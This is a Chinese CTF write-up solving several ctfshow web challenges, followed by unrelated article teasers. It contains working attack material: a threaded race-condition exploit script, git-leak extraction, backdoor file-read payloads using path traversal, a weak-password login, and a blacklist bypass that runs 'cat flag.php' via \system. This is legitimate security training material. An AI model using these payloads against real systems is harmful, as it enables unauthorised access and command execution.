ctfshow web刷题

news2024/11/15 19:58:51

1.红包题第六弹

作者给了提示

F12查看页面源代码

<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
    <title>ctf.show_红包题第六弹</title>
    <script>
        function login(s){  
        var u=document.getElementById("username").value;
        var p=document.getElementById("password").value;
        var xhr = new XMLHttpRequest();  
        xhr.open('GET', "login.php?u="+u+"&p="+p);  
        xhr.responseType = 'arraybuffer';  
        xhr.onreadystatechange = function getPdfOnreadystatechange(e) {  
            if (xhr.readyState === 4) {  
              if (xhr.status === 200) {  
                 var data = (xhr.mozResponseArrayBuffer || xhr.mozResponse ||  
                            xhr.responseArrayBuffer || xhr.response);   
                if(data){
                    ctfshow(s,data);
                }
              }
            }  
        };  
        xhr.send(null);  
        }  
        function ctfshow(token,data){

            var oReq = new XMLHttpRequest();
            oReq.open("POST", "check.php?token="+token+"&php://input", true);
            oReq.onload = function (oEvent) {
                if(oReq.status===200){
                        var res=eval("("+oReq.response+")");
                        if(res.success ==1 &&res.error!=1){
                            alert(res.msg);
                            return;
                        }
                        if(res.error ==1){
                            alert(res.errormsg);
                            return;
                        }
                }
                return;
            };
            oReq.send(data);
        }
    </script>
    <style>
             input{
             width: 260px;
             height:30px;
             background-color: rgb(244,244,244);
         }
    </style>
</head>
<body>
    <center>
    <h2>ctf.show_红包题第六弹</h2>
    <hr>

        <form  action="javascript:login('642e92efb79421734881b53e1e1b18b6');" >
            <p>用户名:<input type="input" name="username" id="username" ><p/>
            <p>密&nbsp;&nbsp;&nbsp;码:<input type="password" name="password" id="password" ><p/>
            <input type="submit" value="登陆" style="margin-left:45px;">
        </form>
        </center>
</body>
</html>

进行代码审计

点击登录后会触发login函数,该函数会获取username和password字段的值,

使用XMLHttpRequest发起一个GET请求到login.php,将用户名和密码作为URL参数传递。

 如果服务器响应状态为200(成功),则

转换响应数据为ArrayBuffer,并会调用ctfshow函数,传入生成的token和数据

ctfshow函数会执行以下操作:

发起一个post请求到check.php,包含token和表单的php://input数据

如果服务器响应状态为200(成功),则会解析响应json

检查success字段是否为1且error字段不为1.如果是则显示msg,如果error字段为1,则显示errormsg

这是check.php页面。只是一个显示页面,没有入手点,用dirsearch扫目录看看

扫描出来了很多。

发现了web.zip,下载后是check.php的源代码:

function receiveStreamFile($receiveFile){
 
    $streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
 
    if(empty($streamData)){
        $streamData = file_get_contents('php://input');
    }
 
    if($streamData!=''){
        $ret = file_put_contents($receiveFile, $streamData, true);
    }else{
        $ret = false;
    }
 
    return $ret;
 
}
if(md5(date("i")) === $token){
    
    $receiveFile = 'flag.dat';
    receiveStreamFile($receiveFile);
    if(md5_file($receiveFile)===md5_file("key.dat")){
        if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
            $ret['success']="1";
            $ret['msg']="人脸识别成功!$flag";
            $ret['error']="0";
            echo json_encode($ret);
            return;
        }

            $ret['errormsg']="same file";
            echo json_encode($ret);
            return;
    }
            $ret['errormsg']="md5 error";
            echo json_encode($ret);
            return;
}

$ret['errormsg']="token error";
echo json_encode($ret);
return;

还是进行代码审计

定义了一个receiveStreamFile函数,用于接收通过POST请求上传的文件流数据。如果POST数据为空,它会尝试从php://input获取,然后将获取的数据写入到指定的文件(flag.dat)中。

在主逻辑部分中,检查flag.dat和key.dat的MD5值是否相同,如果不相同,则人脸识别正确,返回包含成功信息的JSON。

如果MD5相同,但SHA-512散列不同,则认为文件内容不同,返回错误消息。

如果所有信息都不同,则返回错误消息,表示token值错误。

总结:这个脚本用于验证一个上传的文件(flag.dat),通过比较其MD5和SHA-512散列,以及一个预设的key.dat文件。如果验证通过,返回成功信息;否则,返回错误信息。

由于先对文件进行操作,在进行之后的判断,我们可以利用md5中间判断的极小间隙替换原来flag.dat的数据,让sha512成立,造成条件竞争。

借鉴师傅的payloud:

import requests
import datetime
import threading
import hashlib

# 获取当前时间的分钟
t = datetime.datetime.now().minute
token = hashlib.md5(str(t).encode()).hexdigest()

# 下载key.dat
url = "https://d0d4f863-881d-40db-b1f8-57dfacd08ef7.challenge.ctf.show/"
r1 = requests.get(url + "key.dat")
with open('key.dat', 'wb') as f:
    f.write(r1.content)


def upload_data(url, data):
    # 通过php://input上传flag.dat的数据
    url = f"{url}check.php?token={token}&php://input"
    s = requests.post(url, data=data)
    print(s.text)


with open('key.dat', 'rb') as f:
    data1 = f.read()

for i in range(50):
    threading.Thread(target=upload_data, args=(url, data1)).start()
for i in range(50):
    # sha512进行判断,让它不相等
    data2 = 'We are not equal'
    threading.Thread(target=upload_data, args=(url, data2)).start()

得到flag

2. 红包题第七弹

给了一个phpinfo页面,扫描一下目录看看

 可以看到有很多git文件,大概率是GIT泄露,Githack在这里不好用,换用Git_Extract

kali安装Git_Extract:

git clone https://gitcode.com/gakki429/Git_Extract.git

命令:

python git_extract.py url/.git/

注意要python2环境,python --version查看版本,update-alternatives --config python切换版本。

且在Git_Extract这个文件目录下。

可以看到确实有GIT文件。

有两个文件,一个是后门,一个是刚刚显示的页面。

用蚁剑连接看看。

有flag.txt,但没有内容,改用高度显示函数读取

构造:

Letmein=highlight_file("../flag.txt");    #../是目录遍历

还可以有其他方法。

 Letmein=show_source("../flag.txt");show_source() 函数对文件进行语法高亮显示。 本函数是 highlight_file() 的别名.

 Letmein=include("php://filter/resource=../flag.txt");    伪协议

本题考点:GIT泄露,文件读取,目录遍历

3.萌新专属红包题

 

一个登录界面

先查看页面源代码,什么都没有,尝试弱口令登录,最后试出来user=admin,密码=admin888

转到:

F12查看源代码

解码:

得到一段KEY,应该就是flag,还需要找其他的。

但是找半天什么都没有,在登录界面抓包登录成功后发现了flag

额。。。。。。

4.红包题 葵花宝典

 注册登录,得到flag

5.红包题 耗子尾汁

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-11-30 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-11-30 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
    $dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
    $a = strtolower($a);
    if (!in_array($a,$dis,true)) {
        forward_static_call_array($a,$b);
    }else{
        echo 'hacker';
    }
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";

hackerrlezphp!!!

代码审计:传入参数a与b,如果a不在黑名单当中,那么则会调用forward_static_call_array函数。

判断a是否调用限制方法,如果没有则将b当做参数给a。

通过命名空间的方式去调用,php中默认命名空间是\,也就是说我们可以通过\system的方式进行调用。

所以:a=\system&b[]=cat flag.php

 还可以用forward_static_call_array 套娃

通过a=forward_static_call_array&b[0]=system&b[1][0]=ls进行嵌套

 a=forward_static_call_array&b[0]=system&b[1][0]=cat flag.php

借鉴:https://blog.csdn.net/HAI_WD/article/details/132761165?spm=1001.2014.3001.5502

PHP 命名空间中的类名可以通过三种方式引用:

  1. 非限定名称,或不包含前缀的类名称,例如 $a=new foo(); 或 foo::staticmethod();。如果当前命名空间是 currentnamespace,foo 将被解析为 currentnamespace\foo。如果使用 foo 的代码是全局的,不包含在任何命名空间中的代码,则 foo 会被解析为foo。 警告:如果命名空间中的函数或常量未定义,则该非限定的函数名称或常量名称会被解析为全局函数名称或常量名称。

  2. 限定名称,或包含前缀的名称,例如 $a = new subnamespace\foo(); 或 subnamespace\foo::staticmethod();。如果当前的命名空间是 currentnamespace,则 foo 会被解析为 currentnamespace\subnamespace\foo。如果使用 foo 的代码是全局的,不包含在任何命名空间中的代码,foo 会被解析为subnamespace\foo。

  3. 完全限定名称,或包含了全局前缀操作符的名称,例如, $a = new \currentnamespace\foo(); 或 \currentnamespace\foo::staticmethod();。在这种情况下,foo 总是被解析为代码中的文字名(literal name)currentnamespace\foo。

 forward_static_call_array — 调用静态方法且参数作为数组传递

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1717433.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

低代码赋能企业数字化转型:数百家软件公司的成功实践

本文转载于葡萄城公众号&#xff0c;原文链接&#xff1a;https://mp.weixin.qq.com/s/gN8Rq9TDmkMpCtNMMsBUXQ 导读 在当今的软件开发时代&#xff0c;以新技术助力企业数字化转型已经成为一个热门话题。如何快速适应技术变革&#xff0c;构建符合时代需求的技术能力和业务模…

Python网页处理与爬虫实战:使用Requests库进行网页数据抓取

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

【C++修行之道】类和对象(三)拷贝构造函数

目录 一、 概念 二、特征 正确的拷贝构造函数写法&#xff1a; 拷贝函数的另一种写法 三、若未显式定义&#xff0c;编译器会生成默认的拷贝构造函数。 四、编译器生成的默认拷贝构造函数已经可以完成字节序的值拷贝了&#xff0c;还需要自己显式实现吗&#xff1f; 深拷…

Linux系统安全及其应用

文章目录 一、用户账号安全管理1.1 系统账号的清理1.2 对用户账号的操作1.2.1 锁定和解锁用户1.2.2 删除无用账号 1.3 对重要文件进行锁定1.4 密码安全控制1.4.1 新建用户1.4.2 已有用户 二、历史命令管理2.1 历史命令限制2.2 自动清空历史命令 三、设置终端登录的安全管理3.1 …

Python魔法之旅-魔法方法(03)

目录 一、概述 1、定义 2、作用 二、主要应用场景 1、构造和析构 2、操作符重载 3、字符串和表示 4、容器管理 5、可调用对象 6、上下文管理 7、属性访问和描述符 8、迭代器和生成器 9、数值类型 10、复制和序列化 11、自定义元类行为 12、自定义类行为 13、类…

Kotlin 2.0 重磅发布! 性能提升!新功能上线!开发者必看!

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通鸿蒙》 …

2.7HDR与LDR

一、基本概念 1.基本概念 动态范围&#xff08;Dynamic Range&#xff09; 最高亮度 / 最低亮度 HDR High Dynamic RangeLDR Low Dynamic Range HDR与LDR和Tonemapping的对应关系&#xff1a; 我们常用的各种显示器屏幕&#xff0c;由于不同的厂家不同的工艺导致它们的…

【GlobalMapper精品教程】083:基于DEM整体抬升或下降地形高程的两种方式

在Globalmapper24中文版中,可以很方便地对DEM高程数据进行整体抬升或下降。 文章目录 一、准备DEM数据二、高程整体修改1. 修改偏移2. 数据导出三、栅格计算器一、准备DEM数据 订阅专栏后,从私信查收实验数据及Globalmapper24中文版,加载实验数据包data083.rar中的dem数据,…

Unity【入门】脚本基础

Unity脚本基础 文章目录 1、脚本基本规则1、创建规则2、MonoBehavior基类3、不继承MonoBehavior的类4、执行的先后顺序5、默认脚本内容 2、生命周期函数1、概念2、生命周期函数有哪些3、生命周期函数支持继承多态 3、Inspector窗口可编辑的变量4、Mono中的重要内容1、重要成员2…

一个良好的嵌入式系统框架(基于FreeRTOS)

目录 Unix操作系统里的优先级嵌入式系统里的优先级 Unix操作系统里的优先级 在《Unix传奇》中有这样一句话&#xff0c;用户态的进程/线程是三等公民、root线程是二等公民、硬件中断是一等公民。 在操作系统中&#xff0c;"用户态"和"内核态"是两种不同的…

深入Kafka消息分区机制:从原理到实践

深入Kafka消息分区机制&#xff1a;从原理到实践 在现代分布式系统中&#xff0c;如何高效地处理海量数据是一个至关重要的问题。Apache Kafka作为一种高吞吐量的分布式消息系统&#xff0c;广泛应用于日志收集、实时分析等场景。为了保证数据的高效处理和系统的高可扩展性&am…

全新/二手KEITHLEY 2400 数字万用表

吉时利Keithley 2400数字源表&#xff0c;200V&#xff0c;1A&#xff0c;20W Keithley 2400 源表是一款 20W 仪器&#xff0c;可输出和测量 5V&#xff08;输出&#xff09;和 1V&#xff08;测量&#xff09;至 200V DC 的电压以及 10pA 至 1A 的电流。该万用表功能包括高重复…

2024 RCTF WebMisc部分 WP

Misc gogogo 考点:内存取证 得到 gogogo.raw 内存取证的题用volatility和AXIOM结合分析 AXIOM 分析存在云服务 但是百度网盘要密码 https://pan.baidu.com/share/init?surlZllFd8IK-oHvTCYl61_7Kw 发现访问过sqlite数据库 可以尝试提取数据库文件出来 结合 volatility 第…

Flutter基础 -- Dart 语言 -- 列表集合枚举

目录 1. 列表 List 1.1 初始 1.2 声明 1.2.1 自动 1.2.2 定长 1.2.3 生成数据 1.3 属性 1.4 方法 1.4.1 添加 1.4.2 查询 1.4.3 删除 1.4.4 Range 1.4.5 洗牌 1.4.6 排序 1.4.7 复制子列表 1.4.8 操作符 2. 集合 Map 2.1 初始 2.2 声明 2.2.1 松散 2.2.2 …

python-求点积

【问题描述】&#xff1a;给出两个数组&#xff0c;并求它们的点积。 【问题描述】&#xff1a;输入A[1,1,1],B[2,2,2]&#xff0c;输出6,即1*21*21*26。输入A[3,2],B[2,3,3],输出-1&#xff0c;没有点积。 完整代码如下&#xff1a; alist(map(int,input().split())) blist(…

vue路由跳转之【编程式导航与传参】

vue路由有两种跳转方式 ----> 编程式与声明式&#xff0c;本文重点讲解vue路由的【编程式导航 】【编程式导航传参 ( 查询参数传参 & 动态路由传参 ) 】等内容&#xff0c;并结合具体案例让小伙伴们深入理解 &#xff0c;彻底掌握&#xff01;创作不易&#xff0c;需要的…

Maven项目通过maven central 发布到中央仓库 https://repo.maven.apache.org/ 手把手教学 最新教学

一、注册maven central账号 ​ https://central.sonatype.com/publishing/namespaces 我这里直接使用github账号登录 &#xff0c;可以自己注册或者直接使用google账号或者github账号登录 这里github账号登录之后 应该只出现io.github 下面的io.gitee我也验证过 所以这里出…

AltiumDesigner/AD添加数据库连接

1.首先确保本机电脑有无对应的数据库驱动&#xff0c;例如我这边要添加MySQL的数据&#xff0c;则需要首先下载MySQL数据驱动&#xff1a;MySQL :: Download MySQL Connector/ODBC (Archived Versions) 2.运行“odbcad32.exe”&#xff0c;如下图添加对应的数据库配置&#xf…

Python魔法之旅-魔法方法(05)

目录 一、概述 1、定义 2、作用 二、应用场景 1、构造和析构 2、操作符重载 3、字符串和表示 4、容器管理 5、可调用对象 6、上下文管理 7、属性访问和描述符 8、迭代器和生成器 9、数值类型 10、复制和序列化 11、自定义元类行为 12、自定义类行为 13、类型检…

openresty(Nginx) 配置 特殊URL 密码访问 使用htpasswd 配置 Basic_Auth登录认证

1 使用htpasswd 生成密码文件.htpasswd是Apache附带的工具。如果没有可以安装。 #centos 8.5 系统 yum install httpd-tools #Ubuntu 24.04 系统 sudo apt update sudo apt-get install apache2-utils #生成密码文件,用户test sudo htpasswd -c /usr/local/openresty/nginx/…